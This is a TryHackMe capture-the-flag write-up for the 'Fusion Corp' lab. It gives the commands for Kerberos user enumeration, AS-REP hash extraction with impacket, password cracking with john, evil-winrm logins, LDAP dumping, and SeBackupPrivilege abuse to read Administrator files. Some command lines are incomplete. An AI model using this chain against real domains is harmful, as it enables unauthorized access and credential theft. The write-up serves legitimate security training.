TryHackMe — Fusion Corp

3 min readJun 27, 2021

This is my TryHackMe Fusion Corp machine writeup. You can also find the same writeup on my personal website here:

Firstly I ran nmap and the results was:

As port 80 was open I used “dirb” command to see if there was some useful folder. So I found “backup” folder in which there was a file named “employees.ods”.

I downloaded and open it. It contains a users table:

The victim dnsHostName is Fusion-DC.fusion.corp. I found it using the following command:

nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials

So I add in my /etc/hosts file Fusion-DC.fusion.corp.

At this point I used a users list found before to enumerate kerberos:

nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='fusion.corp',userdb=/root/Scaricati/TryHackMe/fusioncorp/user

And the result was:

User lparker in fusion.corp domain was found.

Now, using impacket, I enumerate to find lparker password hash, but first I saved lparker in a new user file (user2):

python3 /usr/local/bin/ 'fusion.corp/' -usersfile user2 -no-pass -dc-ip -outputfile hash

I cracked the found hash file using john:

john hash --wordlist=/root/Scaricati/rockyou.txt

and with –show option:

john --show hash

I found lparker password:

1 password hash cracked, 0 left

Now to connect to victim machine in google I found this:

# /var/lib/gems/2.7.0/gems/evil-winrm-2.4/lib/evil-winrm.rb -i -u lparker -p '!!<REDACTED>'

So I got User 1 flag.

USER 2 flag

For LDAP enumeration using lparker credentials, googling, I found it:


ldapdomaindump -u 'fusion.corp\lparker' -p '!!<REDACTED>'

And I got many files including one interesting file (domain_users.html) which contains users SAM Name and in one user (jmurphy) there was his password.

So it was easy to connect to victim machine using new credentials. As seen before, using evil-winrm.rb:

# /var/lib/gems/2.7.0/gems/evil-winrm-2.4/lib/evil-winrm.rb -i -u jmurphy -p '<REDACTED>'

Got USER 2 flag.

USER 3 flag

Running whoami /privs I saw that jmurphy has SeBackupPrivilege and SeRestorePrivilege enabled.

Googling I found this:

I had to copy SeBackupPrivilegeCmdLets.dll and SeBackupPrivilegeUtils.dll files in victim machine:

upload SeBackupPrivilegeUtils.dllupload SeBackupPrivilegeCmdLets.dll

Then import them:

Import-Module C:\Users\jmurphy\Documents\SeBackupPrivilegeUtils.dllImport-Module C:\Users\jmurphy\Documents\SeBackupPrivilegeCmdLets.dll

And finally, as the author “giuliano108” says, run:

Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\flag.txt C:\Users\jmurphy\Documents\flag.txt

and read the USER 3 flag.